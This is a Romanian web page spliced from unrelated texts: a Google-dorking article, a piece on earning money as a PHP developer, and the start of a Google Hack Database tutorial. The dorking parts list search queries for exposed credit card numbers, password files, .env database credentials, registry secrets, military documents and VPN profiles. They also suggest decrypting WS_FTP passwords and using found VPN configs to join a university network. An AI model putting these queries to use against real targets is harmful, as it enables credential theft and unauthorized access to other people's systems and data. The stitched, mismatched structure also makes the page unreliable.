Inurl php http ce câștiguri. Cum să faci bani cunoscând PHP? Cum poate un programator php să câștige bani buni acasă?

Obținerea datelor private nu înseamnă întotdeauna hacking - uneori acestea sunt publicate public. Cunoașterea setărilor Google și puțină ingeniozitate vă vor permite să găsiți o mulțime de lucruri interesante - de la numere de card de credit la documente FBI.

AVERTIZARE

Toate informațiile sunt furnizate doar în scop informativ. Nici editorii, nici autorul nu sunt responsabili pentru eventualele daune cauzate de materialele acestui articol.

Astăzi, totul este conectat la Internet, cu puțină grijă pentru restricționarea accesului. Prin urmare, multe date private devin prada motoarelor de căutare. Roboții păianjen nu se mai limitează la pagini web, ci indexează tot conținutul disponibil pe Internet și adaugă în mod constant informații non-publice în bazele lor de date. Aflarea acestor secrete este ușor - trebuie doar să știi cum să întrebi despre ele.

Caut fisiere

În mâini capabile, Google va găsi rapid tot ceea ce nu se găsește pe Internet, de exemplu, informații personale și fișiere pentru uz oficial. Ele sunt adesea ascunse ca o cheie sub un covor: nu există restricții reale de acces, datele se află pur și simplu pe spatele site-ului, unde nu duc linkuri. Interfața web standard Google oferă doar setări de căutare avansate de bază, dar chiar și acestea vor fi suficiente.

Vă puteți limita căutarea pe Google la un anumit tip de fișier folosind doi operatori: filetype și ext . Primul specifică formatul pe care motorul de căutare l-a determinat din titlul fișierului, al doilea specifică extensia fișierului, indiferent de conținutul său intern. Când căutați în ambele cazuri, trebuie doar să specificați extensia. Inițial, operatorul ext era convenabil de utilizat în cazurile în care fișierul nu avea caracteristici specifice de format (de exemplu, pentru a căuta fișiere de configurare ini și cfg, care ar putea conține orice). Acum algoritmii Google s-au schimbat și nu există nicio diferență vizibilă între operatori - în majoritatea cazurilor rezultatele sunt aceleași.


Filtrarea rezultatelor

În mod implicit, Google caută cuvinte și, în general, orice caractere introduse în toate fișierele din paginile indexate. Puteți limita zona de căutare după un domeniu de nivel superior, un anumit site sau după locația secvenței de căutare în fișierele în sine. Pentru primele două opțiuni, utilizați operatorul site-ului, urmat de numele domeniului sau al site-ului selectat. În al treilea caz, un întreg set de operatori vă permite să căutați informații în câmpurile de servicii și metadate. De exemplu, allinurl îl va găsi pe cel dat în corpul link-urilor în sine, allinanchor - în textul echipat cu eticheta , allintitle - în titlurile paginilor, allintext - în corpul paginilor.

Pentru fiecare operator există o versiune ușoară cu un nume mai scurt (fără prefixul all). Diferența este că allinurl va găsi link-uri cu toate cuvintele, iar inurl va găsi link-uri doar cu primul dintre ele. Al doilea și următoarele cuvinte din interogare pot apărea oriunde pe paginile web. Operatorul inurl diferă, de asemenea, de un alt operator cu sens similar - site. Primul vă permite, de asemenea, să găsiți orice secvență de caractere într-un link către documentul căutat (de exemplu, /cgi-bin/), care este utilizat pe scară largă pentru a găsi componente cu vulnerabilități cunoscute.

Să încercăm în practică. Luăm filtrul allintext și facem ca cererea să producă o listă de numere și coduri de verificare ale cărților de credit care vor expira abia peste doi ani (sau când proprietarii lor se obosesc să hrănească pe toată lumea).

Allintext: data expirării numărului cardului /2017 cvv

Când citiți în știri că un tânăr hacker „a pătruns în serverele” Pentagonului sau NASA, furând informații clasificate, în cele mai multe cazuri vorbim doar despre o tehnică de bază de utilizare a Google. Să presupunem că suntem interesați de o listă a angajaților NASA și de informațiile lor de contact. Cu siguranță o astfel de listă este disponibilă în formă electronică. Pentru comoditate sau din cauza supravegherii, poate fi și pe site-ul web al organizației. Este logic că în acest caz nu vor exista legături către acesta, deoarece este destinat uzului intern. Ce cuvinte pot fi într-un astfel de fișier? Cel puțin - câmpul „adresă”. Testarea tuturor acestor ipoteze este ușoară.


Inurl:nasa.gov filetype:xlsx „adresă”


Folosim birocrația

Astfel de descoperiri sunt o atingere plăcută. O captură cu adevărat solidă este oferită de o cunoaștere mai detaliată a operatorilor Google pentru webmasteri, a rețelei în sine și a particularităților structurii a ceea ce este căutat. Cunoscând detaliile, puteți filtra cu ușurință rezultatele și rafina proprietățile fișierelor necesare pentru a obține date cu adevărat valoroase în rest. E amuzant că birocrația vine în ajutor aici. Produce formulări standard care sunt convenabile pentru căutarea informațiilor secrete scurse accidental pe Internet.

De exemplu, ștampila declarație de distribuție, cerută de Departamentul Apărării al SUA, înseamnă restricții standardizate privind distribuirea unui document. Litera A denotă lansări publice în care nu există nimic secret; B – destinat doar uzului intern, C – strict confidențial, și așa mai departe până la F. Se remarcă separat litera X, care marchează informații deosebit de valoroase reprezentând un secret de stat de cel mai înalt nivel. Lăsați cei care ar trebui să facă acest lucru la serviciu să caute astfel de documente și ne vom limita la fișiere cu litera C. Conform directivei DoDI 5230.24, acest marcaj este atribuit documentelor care conțin o descriere a tehnologiilor critice care intră sub controlul exportului. . Puteți găsi astfel de informații atent protejate pe site-urile din domeniul de nivel superior domain.mil, alocat pentru Armata SUA.

„CONTACT DE DISTRIBUȚIE C” inurl:navy.mil

Este foarte convenabil ca domeniul .mil să conțină numai site-uri de la Departamentul Apărării al SUA și organizațiile sale contractuale. Rezultatele căutării cu o restricție de domeniu sunt excepțional de curate, iar titlurile vorbesc de la sine. Căutarea secretelor rusești în acest fel este practic inutilă: haosul domnește în domains.ru și.rf, iar numele multor sisteme de arme sună ca cele botanice (PP „Kiparis”, tunuri autopropulsate „Akatsia”) sau chiar fabulos ( TOS „Buratino”).


Studiind cu atenție orice document de pe un site din domeniul .mil, puteți vedea și alți markeri pentru a vă rafina căutarea. De exemplu, o referire la restricțiile de export „Sec 2751”, care este, de asemenea, convenabilă pentru căutarea de informații tehnice interesante. Din când în când este eliminat de pe site-urile oficiale unde a apărut cândva, așa că dacă nu puteți urmări un link interesant în rezultatele căutării, utilizați cache-ul Google (operatorul cache) sau site-ul Internet Archive.

Urcând în nori

Pe lângă documentele guvernamentale declasificate accidental, în memoria cache Google apar ocazional linkuri către fișiere personale din Dropbox și alte servicii de stocare a datelor care creează linkuri „private” către date publicate public. Este și mai rău cu serviciile alternative și de casă. De exemplu, următoarea interogare găsește date pentru toți clienții Verizon care au un server FTP instalat și își folosesc în mod activ routerul.

Allinurl:ftp:// verizon.net

Acum există peste patruzeci de mii de astfel de oameni deștepți, iar în primăvara lui 2015 au fost mult mai mulți. În loc de Verizon.net, puteți înlocui numele oricărui furnizor cunoscut și, cu cât este mai faimos, cu atât captura poate fi mai mare. Prin serverul FTP încorporat, puteți vedea fișierele de pe un dispozitiv de stocare extern conectat la router. De obicei, acesta este un NAS pentru lucru la distanță, un cloud personal sau un fel de descărcare de fișiere peer-to-peer. Tot conținutul acestor medii este indexat de Google și de alte motoare de căutare, astfel încât să puteți accesa fișierele stocate pe unități externe printr-un link direct.

Privind configurațiile

Înainte de migrarea pe scară largă în cloud, serverele FTP simple guvernau ca stocare la distanță, care avea și o mulțime de vulnerabilități. Multe dintre ele sunt și astăzi relevante. De exemplu, popularul program WS_FTP Professional stochează datele de configurare, conturile de utilizator și parolele în fișierul ws_ftp.ini. Este ușor de găsit și citit, deoarece toate înregistrările sunt salvate în format text, iar parolele sunt criptate cu algoritmul Triple DES după o ofuscare minimă. În majoritatea versiunilor, este suficientă eliminarea primului octet.

Este ușor să decriptați astfel de parole folosind utilitarul WS_FTP Password Decryptor sau un serviciu web gratuit.

Când vorbim despre piratarea unui site web arbitrar, acestea înseamnă, de obicei, obținerea unei parole din jurnalele și copiile de rezervă ale fișierelor de configurare ale aplicațiilor CMS sau de comerț electronic. Dacă le cunoașteți structura tipică, puteți indica cu ușurință cuvintele cheie. Liniile ca cele găsite în ws_ftp.ini sunt extrem de comune. De exemplu, în Drupal și PrestaShop există întotdeauna un identificator de utilizator (UID) și o parolă corespunzătoare (pwd), iar toate informațiile sunt stocate în fișiere cu extensia .inc. Le puteți căuta după cum urmează:

"pwd=" "UID=" ext:inc

Dezvăluirea parolelor DBMS

În fișierele de configurare ale serverelor SQL, numele de utilizator și adresele de e-mail sunt stocate în text clar, iar hashurile lor MD5 sunt scrise în loc de parole. Strict vorbind, este imposibil să le decriptați, dar puteți găsi o potrivire între perechile hash-parolă cunoscute.

Există încă SGBD-uri care nici măcar nu folosesc hashingul parolei. Fișierele de configurare ale oricăruia dintre ele pot fi pur și simplu vizualizate în browser.

Intext:DB_PASSWORD tip de fișier:env

Odată cu apariția serverelor Windows, locul fișierelor de configurare a fost luat parțial de registry. Puteți căuta prin ramurile sale exact în același mod, folosind reg ca tip de fișier. De exemplu, așa:

Tip de fișier: reg HKEY_CURRENT_USER „Parolă”=

Să nu uităm de evident

Uneori este posibil să ajungeți la informații clasificate folosind date care au fost deschise accidental și au intrat în atenția Google. Opțiunea ideală este să găsești o listă de parole într-un format comun. Doar persoanele disperate pot stoca informații despre cont într-un fișier text, document Word sau foaie de calcul Excel, dar există întotdeauna suficiente.

Tip de fișier:xls inurl:parolă

Pe de o parte, există o mulțime de mijloace pentru a preveni astfel de incidente. Este necesar să specificați drepturi de acces adecvate în htaccess, să corectați CMS-ul, să nu folosiți scripturi pentru stângaci și să închideți alte găuri. Există, de asemenea, un fișier cu o listă de excepții robots.txt care interzice motoarelor de căutare să indexeze fișierele și directoarele specificate în acesta. Pe de altă parte, dacă structura robots.txt pe un anumit server diferă de cea standard, atunci devine imediat clar ce încearcă ei să ascundă pe el.

Lista directoarelor și fișierelor de pe orice site este precedată de indexul standard al. Deoarece în scopuri de serviciu trebuie să apară în titlu, este logic să se limiteze căutarea la operatorul de titlu. Lucruri interesante sunt în directoarele /admin/, /personal/, /etc/ și chiar /secret/.

Rămâneți pe fază pentru actualizări

Relevanța este extrem de importantă aici: vulnerabilitățile vechi sunt închise foarte lent, dar Google și rezultatele căutării sale se schimbă constant. Există chiar o diferență între un filtru „ultima secundă” (&tbs=qdr:s la sfârșitul adresei URL de solicitare) și un filtru „în timp real” (&tbs=qdr:1).

Intervalul de timp al datei ultimei actualizări a fișierului este indicat și implicit de Google. Prin interfața web grafică, puteți selecta una dintre perioadele standard (oră, zi, săptămână etc.) sau puteți seta un interval de date, dar această metodă nu este potrivită pentru automatizare.

Din aspectul barei de adrese, puteți doar ghici despre o modalitate de a limita rezultatul utilizând construcția &tbs=qdr:. Litera y după ce stabilește limita de un an (&tbs=qdr:y), m arată rezultatele pentru ultima lună, w - pentru săptămână, d - pentru ziua trecută, h - pentru ultima oră, n - pentru un minut, și s - pentru dă-mi o secundă. Cele mai recente rezultate pe care Google tocmai le-a făcut cunoscute se găsesc folosind filtrul &tbs=qdr:1 .

Dacă trebuie să scrieți un script inteligent, va fi util să știți că intervalul de date este setat în Google în format Julian folosind operatorul interval de date. De exemplu, așa puteți găsi o listă de documente PDF cu cuvântul confidențial, descărcate de la 1 ianuarie până la 1 iulie 2015.

Tip de fișier confidențial: pdf interval de date: 2457024-2457205

Intervalul este indicat în formatul de dată Julian fără a lua în considerare partea fracțională. Traducerea lor manuală din calendarul gregorian este incomod. Este mai ușor să utilizați un convertor de date.

Direcționarea și filtrarea din nou

Pe lângă specificarea operatorilor suplimentari în interogarea de căutare, aceștia pot fi trimiși direct în corpul link-ului. De exemplu, specificația filetype:pdf corespunde construcției as_filetype=pdf . Acest lucru face convenabil să solicitați orice clarificări. Să presupunem că rezultatul rezultatelor numai din Republica Honduras este specificat prin adăugarea construcției cr=countryHN la adresa URL de căutare și numai din orașul Bobruisk - gcs=Bobruisk. Puteți găsi o listă completă în secțiunea pentru dezvoltatori.

Instrumentele de automatizare Google sunt concepute pentru a face viața mai ușoară, dar adesea adaugă probleme. De exemplu, orașul utilizatorului este determinat de IP-ul utilizatorului prin WHOIS. Pe baza acestor informații, Google nu numai că echilibrează sarcina dintre servere, ci modifică și rezultatele căutării. În funcție de regiune, pentru aceeași solicitare, pe prima pagină vor apărea rezultate diferite, iar unele dintre ele pot fi complet ascunse. Codul din două litere după directiva gl=country vă va ajuta să vă simțiți ca un cosmopolit și să căutați informații din orice țară. De exemplu, codul Olandei este NL, dar Vaticanul și Coreea de Nord nu au propriul cod în Google.

Adesea, rezultatele căutării ajung să fie aglomerate chiar și după utilizarea mai multor filtre avansate. În acest caz, este ușor să clarificați cererea prin adăugarea mai multor cuvinte de excepție (în fața fiecăruia dintre ele este plasat un semn minus). De exemplu, serviciile bancare, numele și tutorialul sunt adesea folosite cu cuvântul Personal. Prin urmare, rezultatele căutării mai curate vor fi afișate nu printr-un exemplu de interogare manual, ci printr-un exemplu rafinat:

Intitle:"Index of /Personal/" -nume -tutorial -banking

Un ultim exemplu

Un hacker sofisticat se distinge prin faptul că se asigură singur cu tot ce are nevoie. De exemplu, VPN este un lucru convenabil, dar fie scump, fie temporar și cu restricții. Înregistrarea pentru un abonament pentru tine este prea costisitoare. E bine că există abonamente de grup, iar cu ajutorul Google este ușor să faci parte dintr-un grup. Pentru a face acest lucru, trebuie doar să găsiți fișierul de configurare Cisco VPN, care are o extensie PCF destul de non-standard și o cale recunoscută: Program Files\Cisco Systems\VPN Client\Profiles. O singură cerere și vă alăturați, de exemplu, echipei prietenoase a Universității din Bonn.

Tip de fișier: pcf vpn SAU grup

INFO

Google găsește fișiere de configurare a parolei, dar multe dintre ele sunt criptate sau înlocuite cu hashuri. Dacă vedeți șiruri de lungime fixă, atunci căutați imediat un serviciu de decriptare.

Parolele sunt stocate criptate, dar Maurice Massard a scris deja un program pentru a le decripta și îl oferă gratuit prin thecampusgeeks.com.

Google rulează sute de tipuri diferite de atacuri și teste de penetrare. Există multe opțiuni, care afectează programe populare, formate majore de baze de date, numeroase vulnerabilități ale PHP, nori și așa mai departe. Știind exact ce căutați, vă va fi mult mai ușor să găsiți informațiile de care aveți nevoie (în special informațiile pe care nu intenționați să le faceți publice). Shodan nu este singurul care se hrănește cu idei interesante, ci fiecare bază de date de resurse de rețea indexate!

De la autor: Bună prieteni! În acest articol vom vorbi despre limbajul de programare PHP. Să aflăm la ce folosește, ce poți face cu el și ce loc ocupă în etapele dezvoltării site-ului web. De asemenea, în acest articol ne vom uita la multe modalități de a câștiga bani știind cum să programăm în PHP.

Ce este PHP și pentru ce este?

PHP este un limbaj de scripting care este folosit foarte activ în dezvoltarea de aplicații web. PHP este una dintre cele mai importante limbi utilizate în dezvoltarea site-urilor web dinamice.

PHP este un limbaj de programare pe partea de server. Toate scripturile scrise în acest limbaj sunt executate pe serverul cu site-ul. Pentru a studia PHP, a dezvolta și a depana site-uri web și scripturi, desigur, nu trebuie să cumpărați un server real de pe Internet. În aceste scopuri, se folosesc emulatori de server, care sub formă de programe sunt pur și simplu instalate pe un computer care funcționează. Și pe un server de pe Internet (găzduire) sunt plasate site-uri web gata făcute și pagini cu scripturi PHP. Apropo, aproape toată găzduirea modernă acceptă limbajul PHP.

Popularitatea acestui limbaj în domeniul dezvoltării site-urilor web este determinată de prezența unui set mare de instrumente încorporate pentru dezvoltarea aplicațiilor web. Principalele:

extragerea automată a parametrilor POST și GET, precum și a variabilelor de mediu ale serverului web în matrice predefinite;

interacțiune cu un număr mare de sisteme diferite de gestionare a bazelor de date (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape și Apache Derby, Informix, Ovrimos SQL, Lotus Note, DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, Interfață PDO);

trimiterea automată a antetelor HTTP;

lucrul cu cookie-uri și sesiuni;

lucrul cu fișiere locale și la distanță, socket-uri;

procesarea fișierelor încărcate pe server;

lucrul cu XForms.

Să ne uităm la un exemplu în care scriptul PHP rulează pe pagină. Luați, de exemplu, formularul de abonare în care vă introduceți numele și adresa de e-mail pe multe site-uri. HTML și CSS sunt responsabile pentru aspectul formularului - culorile câmpurilor și butoanelor de intrare, schimbarea culorii butonului atunci când treceți cu mouse-ul și faceți clic pe el și așa mai departe. Folosind HTML5, puteți verifica corectitudinea datelor introduse în formular - de exemplu, dacă câmpurile de e-mail sau de telefon sunt completate corect.

Și după ce faceți clic pe butonul „Abonare”, este apelat un script PHP, care primește datele pe care le-ați introdus în formular. Scriptul le înregistrează în baza de date, generează și vă trimite un link pentru a vă confirma abonamentul la email-ul specificat în formular, verifică confirmarea abonamentului și vă trimite e-mail-urile ulterioare. Toate aceste operațiuni sunt efectuate pe server, iar acest lucru se realizează folosind limbajul de programare PHP.

Aplicarea PHP în dezvoltarea site-urilor web

Pentru a crea un site web, trebuie să parcurgeți mai multe etape:

Planificare. În această etapă, planificăm viitorul site: pentru cine și de ce îl facem, cine va vizita site-ul, cu ce să-l umplem, ce ar trebui să fie pe site și așa mai departe.

Proiecta. În faza de proiectare, creăm aspectul paginilor site-ului într-un editor grafic.

Aspect. În etapa de layout, folosind HTML și CSS, creăm paginile HTML ale viitorului site din machetele obținute în etapa de proiectare.

Programare. În etapa de programare, automatizăm procesele de lucru cu site-ul. Programăm partea administrativă a site-ului (panoul de administrare) astfel încât să puteți adăuga, șterge, edita pagini existente chiar și pentru o persoană complet nefamiliară cu construirea site-ului. Programăm astfel încât căutarea și toate formularele de abonare (dacă există) de pe site să funcționeze. Ne asigurăm că pagina nou adăugată este afișată pe site, iar în meniu apare automat un link către pagina creată. Dacă site-ul folosește vot sau sondaj, atunci acesta este tot programat în PHP, în stadiul de programare.

Dacă luăm în considerare etapa de programare a unui site mai mare, de exemplu, un magazin online, atunci totul aici este și mai larg și mai interesant. În acest caz, adăugăm nu numai pagini, ci și produse - conținutul principal al magazinului online. Mai mult, în panoul de administrare trebuie să furnizați o defalcare a produselor adăugate în diferite categorii. De asemenea, ar trebui să fie posibil să editați produsul, să îi schimbați descrierea, prețul, poza etc.

În plus, un magazin online necesită programarea unui sistem de analiză - astfel încât să puteți vedea în panoul de administrare câte comenzi au fost plasate și plătite, pentru ce sumă și pentru ce produse au fost plătite din ce categorii etc. Mai mult, ar trebui să fie posibilă afișarea unor astfel de rapoarte pentru diferite perioade. Atunci când programați un magazin online, este adesea implementată și raportarea vânzărilor în scopuri contabile și fiscale.

De aceea, etapa în care se folosește limbajul de programare PHP este cea mai importantă, cea mai lungă din punct de vedere al timpului și cea mai scumpă și mai bine plătită în dezvoltarea site-urilor web. Și odată ce înțelegi cum să programezi un magazin online, vei putea crea scripturi pentru un site web de aproape orice complexitate.

Popularitatea PHP

Popularitatea PHP este evidențiată de faptul că este folosit de 83,1% din toate site-urile unde a fost posibil să se identifice un limbaj de programare pe server.

Toate cele mai populare CMS-uri care ocupă primele locuri în ratingurile de popularitate (atât plătite, cât și gratuite: WordPress, Joomla, Drupal, Modx, Bitrix. Magento etc.) sunt scrise în limbajul de programare PHP.

De asemenea, popularitatea limbajului de programare PHP este evidențiată de numeroasele cadre PHP create, precum Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 și altele. Există un număr mare de forumuri și comunități mari - pentru PHP în general, pentru fiecare framework și pentru fiecare CMS separat.
De asemenea, voi adăuga că cele mai mari site-uri din lume, de exemplu, Facebook, Wikipedia, sunt scrise și în PHP.

Cum poți câștiga bani cu cunoștințe de PHP?

Având în vedere popularitatea PHP, există o cerere mare constantă pentru programatori PHP. Cunoașterea PHP și capacitatea de a programa în acest limbaj va deschide noi oportunități de câștig. Să ne uităm la principalele cu care poți face bani cu adevărat astăzi:

Câștigați bani prin dezvoltarea de scripturi. Toate site-urile sunt în continuă evoluție și necesită periodic scrierea de noi scripturi, sau dezvoltarea de funcționalități suplimentare, module etc. Pentru astfel de dezvoltări, proprietarii de site-uri apelează la dezvoltatorii PHP. Mai mult, în acest caz puteți câștiga bani în două moduri:

urmăriți comenzile pentru a găsi un dezvoltator independent;

generați idei pentru scripturi de masă. Având o idee pentru un scenariu care va fi cu siguranță solicitat printre, de exemplu, proprietarii de magazine online, puteți dezvolta independent un astfel de scenariu și îl puteți vinde proprietarilor de magazine online;

Finalizarea scripturilor gata făcute „la comandă”. Totul este simplu aici - vă asumați modificarea sau corectarea unui script. Dar, în acest caz, există o nuanță - inițial scenariul poate să nu fie făcut foarte bine, iar rafinarea lui poate dura mai mult timp decât scrierea unui scenariu de la zero. Prin urmare, dacă utilizați această metodă de a câștiga bani, uitați-vă inițial foarte atent la ceea ce veți modifica și completa.

Dezvoltare de pluginuri pentru CMS. În această metodă, totul este la fel ca atunci când faci bani din scripturi. Adesea, site-urile web create pe CMS gata făcute necesită scrierea unui fel de plugin, supliment sau extensie. Și poți câștiga bani aici în două moduri:

urmăriți comenzile pentru dezvoltarea de pluginuri, suplimente și extensii în mod independent;

dezvoltați și vindeți un plugin de masă care va fi cu siguranță solicitat pe majoritatea site-urilor;

Proiecte proprii și comune. Dacă aveți o idee pentru un proiect de Internet (startup), de exemplu, o idee pentru un serviciu sau aplicație utilă care ar rezolva o anumită problemă, atunci puteți începe să o implementați. În stadiul inițial, poate fi chiar și doar ca un hobby, pe lângă meseria principală. Apoi, când va fi clar că hobby-ul devine un proiect mare, va fi posibil să-i aloci mai mult timp.

Crearea de site-uri web dinamice și motoare pentru acestea. De asemenea, puteți face bani frumoși prin dezvoltarea de site-uri web personalizate, lucrând ca freelancer sau într-un studio web.

Crearea de site-uri web pentru tine. Puteți crea un site web pentru dvs., îl puteți umple cu conținut util - și, atunci când site-ul are un număr suficient de vizitatori, puteți începe să câștigați bani plasând publicitate plătită pe el sau promovând produsele cuiva prin programe de afiliere.

Cred că mulți dintre voi v-ați gândit că toate metodele de mai sus de a câștiga bani pot fi combinate. Și este corect! Puteți să vă creați un site web și să câștigați pasiv bani vânzând reclamă din acesta, plus să creați un script sau un plugin și să îl vindeți pe site-uri specializate, câștigând bani pe pilot automat din fiecare vânzare și, în același timp, puteți lucra în continuare într-un web studio. De ce nu? Sigur ca poti!

Cât de mult poate câștiga un dezvoltator PHP?

Cu câștigurile programatorilor PHP, totul este individual. Multe aici depind de unde să lucrezi, cum să lucrezi, ce nivel de cunoștințe, ce experiență, calificări, ce cunoștințe suplimentare aferente are dezvoltatorul și așa mai departe. Prin urmare, în principiu, nu poate exista nicio cifră exactă aici. Dar ne putem uita la ce salarii sunt oferite atunci când căutăm programatori PHP într-un studio web și cât de mult sunt dispuși să plătească pentru un proiect pe schimburi independente.

Imaginea de mai jos arată salariul propus pentru programatorii PHP într-un studio web. Mai mult, acesta este salariul pentru programatorii PHP fără experiență de muncă:

Dacă ai experiență de muncă, poți câștiga mult mai mult. Mai jos sunt salariile oferite programatorilor PHP cu experiență.

Și astăzi poți câștiga bani decenti din freelancing:

Concluzie

PHP este cel mai popular limbaj de programare printre dezvoltatorii web. Marea majoritate a tuturor site-urilor de pe Internet sunt scrise în PHP. Având cunoștințele și capacitatea de a te dezvolta în acest limbaj de programare, poți câștiga bani buni și există multe opțiuni pentru a câștiga bani - de la lucrul într-un studio web până la dezvoltarea propriului proiect sau startup.

Orice căutare de vulnerabilități pe resursele web începe cu recunoaștere și colectare de informații.
Inteligența poate fi fie activă - forța brută a fișierelor și directoarelor site-ului, rularea de scanere de vulnerabilități, navigarea manuală pe site, fie pasivă - căutarea de informații în diferite motoare de căutare. Uneori se întâmplă ca o vulnerabilitate să devină cunoscută chiar înainte de a deschide prima pagină a site-ului.

Cum este posibil acest lucru?
Roboții de căutare, care roaming constant pe internet, pe lângă informațiile utile utilizatorului obișnuit, înregistrează adesea lucruri care pot fi folosite de atacatori pentru a ataca o resursă web. De exemplu, erori de script și fișiere cu informații sensibile (de la fișierele de configurare și jurnalele la fișierele cu date de autentificare și copii de siguranță ale bazei de date).
Din punctul de vedere al unui robot de căutare, un mesaj de eroare despre executarea unei interogări sql este text simplu, inseparabil, de exemplu, de descrierea produselor de pe pagină. Dacă dintr-o dată un robot de căutare a dat peste un fișier cu extensia .sql, care din anumite motive a ajuns în folderul de lucru al site-ului, atunci acesta va fi perceput ca parte a conținutului site-ului și va fi, de asemenea, indexat (inclusiv, eventual, parolele). specificat în acesta).

Astfel de informații pot fi găsite cunoscând cuvinte cheie puternice, adesea unice, care ajută la separarea „paginilor vulnerabile” de paginile care nu conțin vulnerabilități.
O bază de date uriașă de interogări speciale care utilizează cuvinte cheie (așa-numitele dorks) există pe exploit-db.com și este cunoscută sub numele de Google Hack Database.

De ce google?
Dorks sunt vizați în primul rând către Google din două motive:
− cea mai flexibilă sintaxă a cuvintelor cheie (prezentată în Tabelul 1) și a caracterelor speciale (prezentată în Tabelul 2);
− indexul Google este încă mai complet decât cel al altor motoare de căutare;

Tabelul 1 - Principalele cuvinte cheie Google

Cuvânt cheie
Sens
Exemplu
site-ul
Cauta doar pe site-ul specificat. Ia în considerare doar adresa URL
site:somesite.ru - va găsi toate paginile de pe un anumit domeniu și subdomenii
inurl
Căutați după cuvinte prezente în uri. Spre deosebire de cl. cuvintele „site”, caută potriviri după numele site-ului
inurl:news - găsește toate paginile în care cuvântul dat apare în uri
în text
Căutați în corpul paginii
intext:”blocuri în trafic” - complet similar cu cererea obișnuită pentru „blocuri în trafic”
intitulat
Căutați în titlul paginii. Text între etichete <br></td> <td width="214">intitle:”index of” - va găsi toate paginile cu liste de directoare <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Căutați pagini cu o extensie specificată <br></td> <td width="214">ext:pdf - găsește toate fișierele pdf <br></td> </tr><tr><td width="214">tip fișier <br></td> <td width="214">În prezent, complet similar cu clasa. cuvântul „ext” <br></td> <td width="214">tip de fișier:pdf - similar <br></td> </tr><tr><td width="214">legate de <br></td> <td width="214">Căutați site-uri cu subiecte similare <br></td> <td width="214">related:google.ru - își va afișa analogii <br></td> </tr><tr><td width="214">legătură <br></td> <td width="214">Căutați site-uri care leagă la aceasta <br></td> <td width="214">link:somesite.ru - va găsi toate site-urile care au un link către aceasta <br></td> </tr><tr><td width="214">defini <br></td> <td width="214">Afișați definiția cuvântului <br></td> <td width="214">define:0day - definiția termenului <br></td> </tr><tr><td width="214">cache <br></td> <td width="214">Afișați conținutul paginii în cache (dacă este prezent) <br></td> <td width="214">cache:google.com - va deschide o pagină în cache <br></td> </tr></tbody></table><p>Tabelul 2 - Caractere speciale pentru interogări Google <br></p><table><tbody><tr><td width="214"><b>Simbol</b><br></td> <td width="214"><b>Sens</b><br></td> <td width="214"><b>Exemplu</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Fraza exacta <br></td> <td width="214">intitle:„Pagina de configurare a routerului RouterOS” - căutați routere <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Orice text <br></td> <td width="214">inurl: „bitrix*mcart” - căutați site-uri pe bitrix cu un modul mcart vulnerabil <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Orice personaj <br></td> <td width="214">Index.of - similar cu indexul cererii <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Ștergeți un cuvânt <br></td> <td width="214">error -warning - arată toate paginile care au o eroare, dar nici un avertisment <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Gamă <br></td> <td width="214">cve 2006..2016 - arată vulnerabilitățile pe an, începând din 2006 <br></td> </tr><tr><td width="214">|<br></td> <td width="214">„sau” logic <br></td> <td width="214">linux | ferestre - arată paginile în care apare primul sau al doilea cuvânt <br></td> </tr></tbody></table><br>Merită să înțelegeți că orice solicitare către un motor de căutare este o căutare numai după cuvinte. <br>Este inutil să cauți meta-caractere pe pagină (ghilimele, paranteze, semne de punctuație etc.). Chiar și o căutare pentru expresia exactă specificată între ghilimele este o căutare de cuvinte, urmată de o căutare a unei potriviri exacte în rezultate. <p>Toți Google Hack Database dorks sunt împărțiți în mod logic în 14 categorii și sunt prezentate în Tabelul 3. <br>Tabelul 3 – Categoriile bazei de date Google Hack <br></p><table><tbody><tr><td width="168"><b>Categorie</b><br></td> <td width="190"><b>Ceea ce vă permite să găsiți</b><br></td> <td width="284"><b>Exemplu</b><br></td> </tr><tr><td width="168">Prize pentru picioare <br></td> <td width="190">shell-uri web, manageri de fișiere publice <br></td> <td width="284">Găsiți toate site-urile piratate unde sunt încărcate webshell-urile enumerate: <br>(intitle:"phpshell" SAU intitle:"c99shell" SAU intitle:"r57shell" SAU intitle:"PHP Shell" SAU intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Fișiere care conțin nume de utilizator <br></td> <td width="190">Fișiere de registry, fișiere de configurare, jurnale, fișiere care conțin istoricul comenzilor introduse <br></td> <td width="284">Găsiți toate fișierele de registry care conțin informații despre cont: <br><i>tip de fișier: reg reg + intext: „manager cont de internet”</i><br></td> </tr><tr><td width="168">Directoare sensibile <br></td> <td width="190">Directoare cu diverse informații (documente personale, configurații vpn, depozite ascunse etc.) <br></td> <td width="284">Găsiți toate listele de directoare care conțin fișiere legate de VPN: <br><i>"Config" intitle:"Index de" intext:vpn</i><br>Site-uri care conțin depozite git: <br><i>(intext:"index of /.git") ("directorul părinte")</i><br></td> </tr><tr><td width="168">Detectare server web <br></td> <td width="190">Versiune și alte informații despre serverul web <br></td> <td width="284">Găsiți console administrative ale serverului JBoss: <br><i>inurl:"/web-console/" intitle:"Consola de administrare"</i><br></td> </tr><tr><td width="168">Fișiere vulnerabile <br></td> <td width="190">Scripturi care conțin vulnerabilități cunoscute <br></td> <td width="284">Găsiți site-uri care utilizează un script care vă permite să încărcați un fișier arbitrar de pe server: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Servere vulnerabile <br></td> <td width="190">Scripturi de instalare, shell-uri web, console administrative deschise etc. <br></td> <td width="284">Găsiți console PHPMyAdmin deschise care rulează ca root: <br><i>intitle:phpMyAdmin „Bine ați venit la phpMyAdmin ***” „rulează pe * ca root@*”</i><br></td> </tr><tr><td width="168">Mesaje de eroare <br></td> <td width="190">Diverse erori și avertismente dezvăluie adesea informații importante - de la versiunea CMS la parole <br></td> <td width="284">Site-uri care au erori în executarea interogărilor SQL în baza de date: <br><i>„Avertisment: mysql_query()” „interogare nevalidă”</i><br></td> </tr><tr><td width="168">Fișiere care conțin informații suculente 